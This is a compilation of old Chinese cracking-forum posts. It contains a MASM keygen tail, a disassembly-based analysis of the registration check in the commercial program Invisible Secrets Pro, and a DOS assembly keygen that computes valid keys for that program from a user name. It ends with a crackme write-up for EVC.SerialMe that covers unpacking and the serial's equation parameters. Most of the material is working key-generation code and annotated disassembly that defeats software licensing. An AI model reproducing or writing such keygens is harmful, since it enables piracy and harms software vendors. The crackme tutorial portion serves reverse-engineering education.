dw 05500h,095C1h,09481h,05440h,09C01h,05CC0h,05D80h,09D41h,05F00h,09FC1h,09E81h,05E40h
dw 05A00h,09AC1h,09B81h,05B40h,09901h,059C0h,05880h,09841h,08801h,048C0h,04980h,08941h
dw 04B00h,08BC1h,08A81h,04A40h,04E00h,08EC1h,08F81h,04F40h,08D01h,04DC0h,04C80h,08C41h
dw 04400h,084C1h,08581h,04540h,08701h,047C0h,04680h,08641h,08201h,042C0h,04380h,08341h
dw 04100h,081C1h,08081h,04040h,0
szMess db " 名字的长度必须大于5！",0
szErrName db "请修改用户名！",0
szCaption db "Error!"
hInstance dd 0
szName db 20 dup(0)
lname dd 0
lSum dd 0
szTemp db 20 dup(0)

.code
HtoA proc uses ebx edx ecx edi,Hex:DWORD,lpString:DWORD,long:BYTE
xor ecx,ecx
mov cl,long
mov eax,Hex
mov ebx,eax
mov edi,lpString
Hloop:
and eax,0fh
add eax,30h
.if eax>'9'
add eax,7
.endif
mov byte ptr[edi+ecx-1],al
mov eax,ebx
shr eax,4
mov ebx,eax
loop Hloop
ret
HtoA endp

_ProcDlgMain proc uses ebx edi esi edx ecx,hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
mov eax,wMsg
.if eax==WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax==WM_COMMAND
mov eax,wParam
and eax,0ffffh
.if eax==IDGEN
invoke GetDlgItemText, hWnd,Edit1,offset szName,20
invoke lnstr,offset szName
.if eax<5
invoke MessageBox,NULL,offset szMess,offset szCaption,MB_OK
mov eax,FALSE
ret
.endif
mov ecx,eax
mov esi,eax
mov lname,eax
xor eax,eax

loop1:
mov edx, eax
xor ebx, ebx
push esi
sub esi,ecx
mov bl,[szName+esi]
pop esi
and edx, 0FFh
xor edx, ebx
xor ebx, ebx
mov bl, ah
mov ax, word ptr [num+2*edx]
xor ax, bx
loop loop1

and eax,0ffffh
shr eax,8
invoke HtoA,eax,offset szTemp,2
mov al,byte ptr[szTemp]
mov byte ptr[szSN+2],al ;注册码第3位
mov al,byte ptr [szTemp+1]
mov byte ptr [szSN+3],al ;注册码第4位
mov byte ptr [szSN+5],'0' ;注册码第6位

mov ecx,lname
mov esi,ecx
mov lSum,1
mov edi,0ffh

gen_sum:
push esi
sub esi,ecx
mov dl,byte ptr [szName+esi]
pop esi
and dx,0ffh
add lSum,edx
loop gen_sum

mov ecx,lSum

lea ecx, dword ptr [ecx+8*ecx+0Ah]
mov eax, 55555556h
imul ecx
mov eax, edx
shr eax, 1Fh
lea ecx, dword ptr [edx+eax+24h]
and ecx, 8000000Fh
jns next5
dec ecx
or ecx, 0FFFFFFF0h
inc ecx
next5:
invoke HtoA,ecx,offset szTemp,1
mov dl,byte ptr[szTemp]
mov byte ptr[szSN+4],dl ;注册码第5位

mov ecx,lSum

add ecx, 00000017h
mov eax, 2AAAAAABh
imul ecx
mov eax, edx
shr eax, 1Fh
lea eax, dword ptr [edx+eax+03]
lea ecx, dword ptr [8*eax+00000000]
sub ecx, eax
and ecx, 8000000Fh
jns next7
dec ecx
or ecx, 0FFFFFFF0h
inc ecx
next7:
invoke HtoA,ecx,offset szTemp,1
mov dl,byte ptr[szTemp]
mov byte ptr [szSN+6],dl ;注册码第7位

mov ecx,lSum
lea ecx, dword ptr [ecx+2*ecx+13h]
mov eax, 38E38E39h
imul ecx
sar edx, 1
mov eax, edx
shr eax, 1Fh
add edx, eax
and edx, 8000000Fh
jns next8
dec edx
or edx, 0FFFFFFF0h
inc edx
next8:
invoke HtoA,edx,offset szTemp,1
mov dl,byte ptr[szTemp]
mov byte ptr [szSN+7],dl ;注册码第8位

mov ecx,lSum
lea ecx, dword ptr [ecx+4*ecx+0Bh]
mov eax, 66666667h
imul ecx
sar edx, 1
mov eax, edx
shr eax, 1Fh
add edx, eax
and edx, 8000000Fh
jns next9
dec edx
or edx, 0FFFFFFF0h
inc edx
next9:
invoke HtoA,edx,offset szTemp,1
mov dl,byte ptr[szTemp]
mov byte ptr [szSN+8],dl ;注册码第9位

mov ecx,lSum
lea eax, dword ptr [ecx+2*ecx+27h]
cdq
and edx, 00000007
add eax, edx
sar eax, 03
and eax, 8000000Fh
jns nexta
dec eax
or eax, 0FFFFFFF0h
inc eax
nexta:
invoke HtoA,eax,offset szTemp,1
mov dl,byte ptr[szTemp]
mov byte ptr [szSN+9],dl ;注册码第10位

mov edi,lSum
lea ecx, dword ptr [edi+0Ah]
mov eax, 55555556h
imul ecx
mov eax, edx
shr eax, 1Fh
add edx, eax
shl edx, 03
and edx, 8000000Fh
jns nextb
dec edx
or edx, 0FFFFFFF0h
inc edx
nextb:
invoke HtoA,edx,offset szTemp,1
mov dl,byte ptr[szTemp]
mov byte ptr [szSN+10],dl ;注册码第11位

mov ecx,9
xor eax,eax
mov esi,11
loop2:
mov edx, eax
xor ebx, ebx
push esi
sub esi,ecx
mov bl, byte ptr [szSN+esi]
pop esi
movzx edx,dl
xor edx, ebx
xor ebx, ebx
mov bl, ah
mov ax, word ptr [num+edx*2]
xor ax, bx
loop loop2

and eax,0ffffh
shr eax,8
invoke HtoA,eax,offset szTemp,2
mov al,byte ptr [szTemp]
.if al==30 ;如果注册码第一位为0，重新输入用户名
invoke MessageBox,0,offset szErrName,offset szCaption,MB_OK
mov eax,FALSE
ret
.endif
mov byte ptr [szSN],al
mov al,byte ptr [szTemp+1]
mov byte ptr [szSN+1],al

invoke SetDlgItemText,hWnd,Edit2,offset szSN
mov eax,FALSE
ret
.elseif eax==IDCLOSE
invoke EndDialog,hWnd,NULL
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp

start:
invoke InitCommonControls
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
end start

end
-----------------------------------------Cut End--------------------------------------------

------------------=====Ending=====------------------
aNY qUESTIONS,pLEASE eMAIL tO: luoyi.ly@yeah.net

Thanks To All!Good Luck!


estiprojm

 标 题:estiprojm 注册 (12千字)
发信人:abcde-12345
时 间:2001-11-8 18:25:02
详细信息:
时间有些长了,具体记不清过程了,有两部分,都贴上
estiprojm 加密软件:004997AD 5A pop edx
:004997AE E88DFBFFFF call 00499340
:004997B3 8845FB mov byte ptr [ebp-05], al
:004997B6 807DFB00 cmp byte ptr [ebp-05], 00
:004997BA 0F84AD000000 je 0049986D
:004997C0 8B45FC mov eax, dword ptr [ebp-04]
:004997C3 C680EC02000001 mov byte ptr [eax+000002EC], 01

* Possible StringData Ref from Code Obj ->"Registration complete."
|
:004997CA B8C0984900 mov eax, 004998C0
:004997CF E83010FCFF call 0045A804
:004997D4 B201 mov dl, 01
:004997D6 A178314600 mov eax, dword ptr [00463178]
:004997DB E8449BFCFF call 00463324
:004997E0 8945F4 mov dword ptr [ebp-0C], eax
:004997E3 33C9 xor ecx, ecx

* Possible StringData Ref from Code Obj ->"Software\Secretec Software\Invisible "
->"Secrets Pro\Version"
|
:004997E5 BAE0984900 mov edx, 004998E0
:004997EA 8B45F4 mov eax, dword ptr [ebp-0C]
:004997ED E8269DFCFF call 00463518
:004997F2 8D55EC lea edx, dword ptr [ebp-14]
:004997F5 8B45FC mov eax, dword ptr [ebp-04]
:004997F8 8B80C8020000 mov eax, dword ptr [eax+000002C8]
:004997FE E85D86F9FF call 00431E60
:00499803 8B4DEC mov ecx, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"Name"
|
:00499806 BA24994900 mov edx, 00499924
:0049980B 8B45F4 mov eax, dword ptr [ebp-0C]
:0049980E E831A2FCFF call 00463A44
:00499813 8D55EC lea edx, dword ptr [ebp-14]
:00499816 8B45FC mov eax, dword ptr [ebp-04]
:00499819 8B80D0020000 mov eax, dword ptr [eax+000002D0]
:0049981F E83C86F9FF call 00431E60
:00499824 8B4DEC mov ecx, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"Key"
|
:00499827 BA34994900 mov edx, 00499934
:0049982C 8B45F4 mov eax, dword ptr [ebp-0C]
:0049982F E810A2FCFF call 00463A44
:00499834 8D55EC lea edx, dword ptr [ebp-14]
:00499837 8B45FC mov eax, dword ptr [ebp-04]
:0049983A 8B80CC020000 mov eax, dword ptr [eax+000002CC]
:00499840 E81B86F9FF call 00431E60
:00499845 8B4DEC mov ecx, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"Organization"
|
:00499848 BA40994900 mov edx, 00499940
:0049984D 8B45F4 mov eax, dword ptr [ebp-0C]
:00499850 E8EFA1FCFF call 00463A44
:00499855 8B45F4 mov eax, dword ptr [ebp-0C]
:00499858 E82F9BFCFF call 0046338C
:0049985D 8B45F4 mov eax, dword ptr [ebp-0C]
:00499860 E86B98F6FF call 004030D0
:00499865 8B45FC mov eax, dword ptr [ebp-04]
:00499868 E8C332FBFF call 0044CB30

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004997BA(C)
|
:0049986D 807DFB00 cmp byte ptr [ebp-05], 00
:00499871 750A jne 0049987D

* Possible StringData Ref from Code Obj ->"Sorry! Invalid registration key!"
|
:00499873 B858994900 mov eax, 00499958

//////////////////////////////////////////////////////////////////////////////////////////////
:004997AE E88DFBFFFF call 00499340
* Referenced by a CALL at Addresses:
|:004997AE , :004D21BE , :004DA606
|
:00499340 55 push ebp
:00499341 8BEC mov ebp, esp
:00499343 83C4E4 add esp, FFFFFFE4
:00499346 53 push ebx
:00499347 33DB xor ebx, ebx
:00499349 895DEC mov dword ptr [ebp-14], ebx
:0049934C 894DF4 mov dword ptr [ebp-0C], ecx
:0049934F 8955F8 mov dword ptr [ebp-08], edx
:00499352 8945FC mov dword ptr [ebp-04], eax
:00499355 8B45FC mov eax, dword ptr [ebp-04]
:00499358 E81BAEF6FF call 00404178
:0049935D 8B45F8 mov eax, dword ptr [ebp-08]
:00499360 E813AEF6FF call 00404178
:00499365 33C0 xor eax, eax
:00499367 55 push ebp
:00499368 687E944900 push 0049947E
:0049936D 64FF30 push dword ptr fs:[eax]
:00499370 648920 mov dword ptr fs:[eax], esp
:00499373 8B45F8 mov eax, dword ptr [ebp-08]
:00499376 E849ACF6FF call 00403FC4
:0049937B 85C0 test eax, eax
:0049937D 7E40 jle 004993BF
:0049937F 8945E4 mov dword ptr [ebp-1C], eax
:00499382 C745E801000000 mov [ebp-18], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004993BD(C)
|
:00499389 8B45F8 mov eax, dword ptr [ebp-08]
:0049938C 8B55E8 mov edx, dword ptr [ebp-18]
:0049938F 8A4410FF mov al, byte ptr [eax+edx-01]
:00499393 E81498F6FF call 00402BAC
:00499398 04BF add al, BF
:0049939A 2C06 sub al, 06
:0049939C 7219 jb 004993B7
:0049939E 8B45F8 mov eax, dword ptr [ebp-08]
:004993A1 8B55E8 mov edx, dword ptr [ebp-18]
:004993A4 8A4410FF mov al, byte ptr [eax+edx-01]
:004993A8 04D0 add al, D0
:004993AA 2C0A sub al, 0A
:004993AC 7209 jb 004993B7
:004993AE C645F300 mov [ebp-0D], 00
:004993B2 E9A4000000 jmp 0049945B

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049939C(C), :004993AC(C)
|
:004993B7 FF45E8 inc [ebp-18]
:004993BA FF4DE4 dec [ebp-1C]
:004993BD 75CA jne 00499389

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049937D(C)
|
:004993BF 8B45FC mov eax, dword ptr [ebp-04]
:004993C2 E8FDABF6FF call 00403FC4
:004993C7 83F805 cmp eax, 00000005 <--名字是否大于等于5个字符
:004993CA 7D09 jge 004993D5
:004993CC C645F300 mov [ebp-0D], 00
:004993D0 E986000000 jmp 0049945B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004993CA(C)
|
:004993D5 8B45F8 mov eax, dword ptr [ebp-08]
:004993D8 E8E7ABF6FF call 00403FC4
:004993DD 83F80C cmp eax, 0000000C <-KEY是否大于等于十二个字符
:004993E0 7D06 jge 004993E8
:004993E2 C645F300 mov [ebp-0D], 00
:004993E6 EB73 jmp 0049945B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004993E0(C)
|
:004993E8 8B45F4 mov eax, dword ptr [ebp-0C]
:004993EB C6403801 mov [eax+38], 01
:004993EF 8B55F8 mov edx, dword ptr [ebp-08]
:004993F2 8B45F4 mov eax, dword ptr [ebp-0C]
:004993F5 E88EFBFFFF call 00498F88

* Possible StringData Ref from Code Obj ->"Reia-mi al nemuririi nimb/Si focul "
->"din privire/Si pentru toate da-mi "
->"in schimb/O ora de iubire."
|
:004993FA BA98944900 mov edx, 00499498
:004993FF 8B45F4 mov eax, dword ptr [ebp-0C]
:00499402 E81DFBFFFF call 00498F24
:00499407 8B45F4 mov eax, dword ptr [ebp-0C]
:0049940A E861FEFFFF call 00499270 <--F8
:0049940F 8D45EC lea eax, dword ptr [ebp-14]
:00499412 8B55F4 mov edx, dword ptr [ebp-0C]
:00499415 8B5228 mov edx, dword ptr [edx+28]
:00499418 E8C3A9F6FF call 00403DE0
:0049941D C645F301 mov [ebp-0D], 01
:00499421 8B45EC mov eax, dword ptr [ebp-14]
:00499424 E89BABF6FF call 00403FC4
:00499429 85C0 test eax, eax
:0049942B 7E2E jle 0049945B
:0049942D 8945E4 mov dword ptr [ebp-1C], eax
:00499430 C745E801000000 mov [ebp-18], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00499459(C)
|
:00499437 8B45EC mov eax, dword ptr [ebp-14]
:0049943A 8B55E8 mov edx, dword ptr [ebp-18]
:0049943D 8A4410FF mov al, byte ptr [eax+edx-01]
:00499441 8B55FC mov edx, dword ptr [ebp-04]
:00499444 8B4DE8 mov ecx, dword ptr [ebp-18]
:00499447 3A440AFF cmp al, byte ptr [edx+ecx-01]
:0049944B 7406 je 00499453
:0049944D C645F300 mov [ebp-0D], 00
:00499451 EB08 jmp 0049945B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049944B(C)
|
:00499453 FF45E8 inc [ebp-18]
:00499456 FF4DE4 dec [ebp-1C]
:00499459 75DC jne 00499437

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004993B2(U), :004993D0(U), :004993E6(U), :0049942B(C), :00499451(U)
|
:0049945B 33C0 xor eax, eax
:0049945D 5A pop edx
:0049945E 59 pop ecx
:0049945F 59 pop ecx
:00499460 648910 mov dword ptr fs:[eax], edx
:00499463 6885944900 push 00499485

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00499483(U)
|
:00499468 8D45EC lea eax, dword ptr [ebp-14]
:0049946B E8D8A8F6FF call 00403D48
:00499470 8D45F8 lea eax, dword ptr [ebp-08]
:00499473 BA02000000 mov edx, 00000002
:00499478 E8EFA8F6FF call 00403D6C
:0049947D C3 ret

:0049947E E901A3F6FF jmp 00403784
:00499483 EBE3 jmp 00499468
:00499485 8A45F3 mov al, byte ptr [ebp-0D]
:00499488 5B pop ebx
:00499489 8BE5 mov esp, ebp
:0049948B 5D pop ebp
:0049948C C3 ret

//////////////////////////////////////////////////////////////////////////////////////////////
:0049940A E861FEFFFF call 00499270
* Referenced by a CALL at Addresses:
|:0049940A , :004C0B39 , :004C1C13 , :004C25DD , :004C2875
|:004CA88B , :004CAD7F , :004DAC6C , :004DACE0 , :004DAD4D
|:004DADD0 , :004DAEC5
|
:00499270 55 push ebp
:00499271 8BEC mov ebp, esp
:00499273 83C4F4 add esp, FFFFFFF4
........................................................
........................................................
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004992B5(U)
|
:004992BB 8A45FB mov al, byte ptr [ebp-05]
:004992BE 50 push eax
:004992BF 8D45F4 lea eax, dword ptr [ebp-0C]
:004992C2 50 push eax
:004992C3 8B45FC mov eax, dword ptr [ebp-04]
:004992C6 8B4834 mov ecx, dword ptr [eax+34]
:004992C9 8B45FC mov eax, dword ptr [ebp-04]
:004992CC 8B5024 mov edx, dword ptr [eax+24]
:004992CF 8B45FC mov eax, dword ptr [ebp-04]
:004992D2 E815FDFFFF call 00498FEC <-F8
:004992D7 8B55F4 mov edx, dword ptr [ebp-0C]
:004992DA 8B45FC mov eax, dword ptr [ebp-04]
:004992DD 83C028 add eax, 00000028
:004992E0 E8B7AAF6FF call 00403D9C

//////////////////////////////////////////////////////////////////////////////////////////////
:004992D2 E815FDFFFF call 00498FEC* Referenced by a CALL at Address:
|:004992D2
|
:00498FEC 55 push ebp
:00498FED 8BEC mov ebp, esp
:00498FEF 83C4BC add esp, FFFFFFBC
........................................................
........................................................
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004991F5(C)
|
:00499158 8D45BC lea eax, dword ptr [ebp-44]
:0049915B 50 push eax
:0049915C B902000000 mov ecx, 00000002

标 题:续 注册过程 (5千字)
发信人:abcde-12345
时 间:2001-11-8 18:25:45
详细信息:

首先声名一下：XX XX XX XX XX XX ......
G1 G2 G3 G4 G5 G6
^ ^ ^ ^ ^ ^
| | | | | |
| | | | | |----------每两个注册码一组,此为第六组
| | | | |-------------每两个注册码一组,此为第五组
| | | |-----------------每两个注册码一组,此为第四组
| | |--------------------每两个注册码一组,此为第三组
| |-----------------------每两个注册码一组,此为第二组
|---------------------------每两个注册码一组,此为第一组
程序从下列代码中
Reia-mi al nemuririi nimb/Si focul din privire/Si pentru toate da-mi in schimb/O ora de iubire..............KeyE
Reia-mi al nemuririi nimb/Si focul din privire/Si pentru toate da-mi in schimb/O ora de iubire.
依次取出其ACSII码 R 为 52..将取出的码与G2异或,异或的结果,如果大于G1则减去G1,其结果作为NAME的第一个字母,否则加 FF 再减去 G1 其结果作为NAME的第一个字母,再取 e 的ACSSII 码65 与G3异或,异或的结果,如果大于G2则减去G2,其结果作为NAME的第二个字母,否则加 FF 再减去 G2 其结果作为NAME的第二个字母,以后过程都一样了.简单的很!!!!(大家看起来简单的很,可是我当时研究其注册过程时,可费了整整一晚上的时间,爱!!!!!!!!)

刚出炉,还烫着的注册过程

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004991F5(C)
|
:00499158 8D45BC lea eax, dword ptr [ebp-44]
:0049915B 50 push eax
:0049915C B902000000 mov ecx, 00000002
:00499161 8B55E0 mov edx, dword ptr [ebp-20]
:00499164 8B45F8 mov eax, dword ptr [ebp-08]
:00499167 E85CB0F6FF call 004041C8
:0049916C 8B4DBC mov ecx, dword ptr [ebp-44]
:0049916F 8D45C0 lea eax, dword ptr [ebp-40]
:00499172 BA6C924900 mov edx, 0049926C
:00499177 E894AEF6FF call 00404010
:0049917C 8B45C0 mov eax, dword ptr [ebp-40]
:0049917F E840F9F6FF call 00408AC4
:00499184 8945DC mov dword ptr [ebp-24], eax
:00499187 8B45EC mov eax, dword ptr [ebp-14]
:0049918A 3B45F0 cmp eax, dword ptr [ebp-10]
:0049918D 7D05 jge 00499194
:0049918F FF45EC inc [ebp-14]
:00499192 EB07 jmp 0049919B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049918D(C)
|
:00499194 C745EC01000000 mov [ebp-14], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00499192(U)
|
:0049919B 8B45F4 mov eax, dword ptr [ebp-0C]
:0049919E 8B55EC mov edx, dword ptr [ebp-14]
:004991A1 0FB64410FF movzx eax, byte ptr [eax+edx-01] <-取Reia-mi al nemuririi <-nimb/Si focul
:004991A6 3345DC xor eax, dword ptr [ebp-24] <-与G(X)异或
:004991A9 8945D8 mov dword ptr [ebp-28], eax
:004991AC 8B45D8 mov eax, dword ptr [ebp-28]
:004991AF 3B45E8 cmp eax, dword ptr [ebp-18] <-大于G(X-1)?
:004991B2 7F10 jg 004991C4
:004991B4 8B45D8 mov eax, dword ptr [ebp-28]
:004991B7 05FF000000 add eax, 000000FF <-小于G(X-1),加 FF
:004991BC 2B45E8 sub eax, dword ptr [ebp-18] <-减G(X-1)
:004991BF 8945D8 mov dword ptr [ebp-28], eax
:004991C2 EB06 jmp 004991CA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004991B2(C)
|
:004991C4 8B45E8 mov eax, dword ptr [ebp-18] <-减G(X-1)
:004991C7 2945D8 sub dword ptr [ebp-28], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004991C2(U)
|
:004991CA 8D45C0 lea eax, dword ptr [ebp-40]
:004991CD 8B55D8 mov edx, dword ptr [ebp-28]
:004991D0 E817ADF6FF call 00403EEC
:004991D5 8B55C0 mov edx, dword ptr [ebp-40]
:004991D8 8D45E4 lea eax, dword ptr [ebp-1C]
:004991DB E8ECADF6FF call 00403FCC
:004991E0 8B45DC mov eax, dword ptr [ebp-24]
:004991E3 8945E8 mov dword ptr [ebp-18], eax
:004991E6 8345E002 add dword ptr [ebp-20], 00000002
:004991EA 8B45F8 mov eax, dword ptr [ebp-08]
:004991ED E8D2ADF6FF call 00403FC4
:004991F2 3B45E0 cmp eax, dword ptr [ebp-20]
:004991F5 0F8F5DFFFFFF jg 00499158

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049909A(C), :0049911B(U)
|
:004991FB 8B4508 mov eax, dword ptr [ebp+08]
:004991FE 8B55E4 mov edx, dword ptr [ebp-1C]
:00499201 E8DAABF6FF call 00403DE0
:00499206 33C0 xor eax, eax
:00499208 5A pop edx
:00499209 59 pop ecx
:0049920A 59 pop ecx
:0049920B 648910 mov dword ptr fs:[eax], edx
:0049920E 683D924900 push 0049923D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049923B(U)
|
:00499213 8D45BC lea eax, dword ptr [ebp-44]
:00499216 BA02000000 mov edx, 00000002
:0049921B E84CABF6FF call 00403D6C
:00499220 8D45E4 lea eax, dword ptr [ebp-1C]
:00499223 E820ABF6FF call 00403D48
:00499228 8D45F4 lea eax, dword ptr [ebp-0C]
:0049922B BA02000000 mov edx, 00000002
:00499230 E837ABF6FF call 00403D6C
:00499235 C3 ret

标 题:注册机 (2千字)
发信人:abcde-12345
时 间:2001-11-8 19:05:40
详细信息:

DATA SEGMENT
TABLE DB 52H,65H,69H,61H,2DH,6DH,69H,20H,61H,6CH,20H,6EH,65H,6DH,75H,72H
DB 69H,72H,69H,69H,20H,6EH,69H,6DH,62H,2FH,53H,69H,20H,66H,6FH,63H
DB 75H,6CH,20H,64H,69H,6EH,20H,70H,72H,69H,76H,69H,72H,65H,2FH,53H
DB 69H,20H,70H,65H,6EH,74H,72H,75H,20H,74H,6FH,61H,74H,65H,20H,64H
DB 61H,2DH,6DH,69H,20H,69H,6EH,20H,73H,63H,68H,69H,6DH,62H,2FH,4FH
DB 20H,6FH,72H,61H,20H,64H,65H,20H,69H,75H,62H,69H,72H,65H,2EH ;5EH GE
INNAME DB 'INPUT YOUR NAME: $'
NAMEBUFF DB 40H
DB ?
DB 40H DUP(?)
DATABUFF DB 042H
DB ?
DB 45H DUP(?)
YKEY DB 'YOUR KEY: $'
CLF DB 0DH,0AH,'$'
DISPLAY DB 0A0H DUP(?)
DATA ENDS
CODE SEGMENT
ASSUME CS:CODE, DS:DATA
START:
MOV AX,DATA
MOV DS,AX

MOV DX,OFFSET INNAME
MOV AH,09H
INT 21H

MOV DX,OFFSET NAMEBUFF
MOV AH,0AH
INT 21H

MOV DX,OFFSET CLF
MOV AH,09H
INT 21H

XOR CX,CX
XOR BX,BX
XOR AX,AX
XOR DX,DX
MOV SI, OFFSET NAMEBUFF+1
MOV CL,[SI]
MOV DL,[SI]

MOV AL,011H
CALCUL:
MOV BYTE PTR [DATABUFF+BX+2],AL
ADD AL,[NAMEBUFF+BX+2]
;CMP AX,0FFH
JNC BELOW
ADD AL,01H
BELOW:
XOR AL,[TABLE+BX]
CMP BX,CX
INC BX
JB CALCUL

MOV CL,04H
XOR BX,BX
XOR SI,SI
;INC DX
ADD DX,DX
CONVER:
MOV AL, [DATABUFF+SI+2]
MOV AH,AL
SHR AH,CL

CMP AH,09H
JA CH1
ADD AH,30H
JMP STRMOV1
CH1:
ADD AH,037H
STRMOV1:
MOV BYTE PTR [DISPLAY+BX],AH
;CMP BX,DX
INC BX

MOV AH,AL
AND AH,0FH
CMP AH,09H
JA CH2
ADD AH,30H
JMP STRMOV2
CH2:
ADD AH,037H
STRMOV2:
MOV BYTE PTR [DISPLAY+BX],AH
CMP BX,DX
INC BX
INC SI
JB CONVER

MOV BYTE PTR [DISPLAY+BX+1],0DH
MOV BYTE PTR [DISPLAY+BX+2],0AH
MOV BYTE PTR [DISPLAY+BX+3],'$'

MOV DX,OFFSET YKEY
MOV AH,09H
INT 21H

MOV DX,OFFSET DISPLAY
MOV AH,09H
INT 21H

MOV AH,4CH
INT 21H
CODE ENDS
END START


EVC.SerialMe Beta

 标 题:EVC.SerialMe.Beta解密分析 (17千字)
发信人:FiNALSErAPH
时 间:2002-3-13 22:37:21
详细信息:
/////////////////////////////////////////////////////////////////////
//
// 目标软件：EVC.SerialMe
//
// 软件版本：Beta
//
// 官方网站：http://www.ebolaviruscrew.net/
//
// 软件授权：共享软件
//
// 操作系统：Win95/98/ME、WinNT/2000
//
// 软件简介：EVC的考试程序(第2级)
//
// 软件保护：序列号保护、yoda's cryptor 1.2加壳
//
/////////////////////////////////////////////////////////////////////
//
// 使用工具：TRW2000 v1.22 娃娃修改版(Include FPU Plugin)
// (主要用于调试分析)
//
// Our Brain...:-)
//
/////////////////////////////////////////////////////////////////////
//
// 关于本文：本文主要目的在于教学，让初学者掌握一些基本的脱壳方法及
//
// 软件分析手段...请勿将此教程用于商业目的。
//
// Always Your Best Friend: FiNALSErAPH
//
// 水平有限，难免疏漏...
//
// Any Question?
// Mail To: FiNALSErAPH@yahoo.com.cn
//
// 2001-12-21
//
/////////////////////////////////////////////////////////////////////
//
// 这个程序还是加了壳的，不过很简单。这里就不说了。
//
// 好像是yoda's cryptor 1.2(不知道，脱壳后你可以看见图标了)
//
// 注册码验证主程序入口
//
/////////////////////////////////////////////////////////////////////
* Referenced by a CALL at Address:
|:00401931
|
:00401430 81ECF4010000 sub esp, 000001F4
:00401436 33C0 xor eax, eax
:00401438 53 push ebx
:00401439 89442408 mov dword ptr [esp+08], eax
:0040143D 56 push esi
:0040143E 89442410 mov dword ptr [esp+10], eax
:00401442 57 push edi
:00401443 89442418 mov dword ptr [esp+18], eax
:00401447 33DB xor ebx, ebx
:00401449 8944241C mov dword ptr [esp+1C], eax
:0040144D B918000000 mov ecx, 00000018
:00401452 8DBC2439010000 lea edi, dword ptr [esp+00000139]
:00401459 89442420 mov dword ptr [esp+20], eax
:0040145D 889C2438010000 mov byte ptr [esp+00000138], bl
:00401464 889C24D4000000 mov byte ptr [esp+000000D4], bl
:0040146B F3 repz
:0040146C AB stosd
:0040146D 66AB stosw
:0040146F AA stosb
:00401470 B918000000 mov ecx, 00000018
:00401475 33C0 xor eax, eax
:00401477 8DBC24D5000000 lea edi, dword ptr [esp+000000D5]
:0040147E 889C249C010000 mov byte ptr [esp+0000019C], bl
:00401485 F3 repz
:00401486 AB stosd
:00401487 66AB stosw
:00401489 AA stosb
:0040148A B918000000 mov ecx, 00000018
:0040148F 33C0 xor eax, eax
:00401491 8DBC249D010000 lea edi, dword ptr [esp+0000019D]
:00401498 8B15C49D4000 mov edx, dword ptr [00409DC4]
:0040149E F3 repz
:0040149F AB stosd
:004014A0 33C9 xor ecx, ecx
:004014A2 53 push ebx
:004014A3 894C242C mov dword ptr [esp+2C], ecx
:004014A7 6A63 push 00000063
:004014A9 894C2434 mov dword ptr [esp+34], ecx
:004014AD 68C5000000 push 000000C5
:004014B2 66AB stosw
:004014B4 894C243C mov dword ptr [esp+3C], ecx
:004014B8 52 push edx
:004014B9 894C2444 mov dword ptr [esp+44], ecx
:004014BD 895C241C mov dword ptr [esp+1C], ebx
:004014C1 AA stosb
/////////////////////////////////////////////////////////////////////
//
// 这里就是方程组的参数了，36个。
//
// 这里遗留了我的一个问题：如何推算出BE4CCCCD -> -0.2
//
/////////////////////////////////////////////////////////////////////
:004014C2 C7442454CDCC4CBE mov dword ptr [esp+00000054], BE4CCCCD
:004014CA C7442458CDCCCCBE mov dword ptr [esp+00000058], BECCCCCD
:004014D2 C744245C9A99193F mov dword ptr [esp+0000005C], 3F19999A
:004014DA C7442460CDCCCC3E mov dword ptr [esp+00000060], 3ECCCCCD
:004014E2 C7442464CDCC4C3E mov dword ptr [esp+00000064], 3E4CCCCD
:004014EA C7442468CDCCCCBE mov dword ptr [esp+00000068], BECCCCCD
:004014F2 C744246CCDCCCCBE mov dword ptr [esp+0000006C], BECCCCCD
:004014FA C7442470CDCC4C3E mov dword ptr [esp+00000070], 3E4CCCCD
:00401502 C7442474CDCC4C3E mov dword ptr [esp+00000074], 3E4CCCCD
:0040150A C7442478CDCC4C3F mov dword ptr [esp+00000078], 3F4CCCCD
:00401512 C744247C9A9919BF mov dword ptr [esp+0000007C], BF19999A
:0040151A C7842480000000CDCC4C3E mov dword ptr [esp+00000080], 3E4CCCCD
:00401525 C7842484000000CDCC4C3F mov dword ptr [esp+00000084], 3F4CCCCD
:00401530 C78424880000009A99193F mov dword ptr [esp+00000088], 3F19999A
:0040153B C784248C000000CDCCCCBE mov dword ptr [esp+0000008C], BECCCCCD
:00401546 C78424900000009A9919BF mov dword ptr [esp+00000090], BF19999A
:00401551 C7842494000000CDCC4C3E mov dword ptr [esp+00000094], 3E4CCCCD
:0040155C C7842498000000CDCCCCBE mov dword ptr [esp+00000098], BECCCCCD
:00401567 C784249C000000CDCC4CBE mov dword ptr [esp+0000009C], BE4CCCCD
:00401572 C78424A0000000CDCCCCBE mov dword ptr [esp+000000A0], BECCCCCD
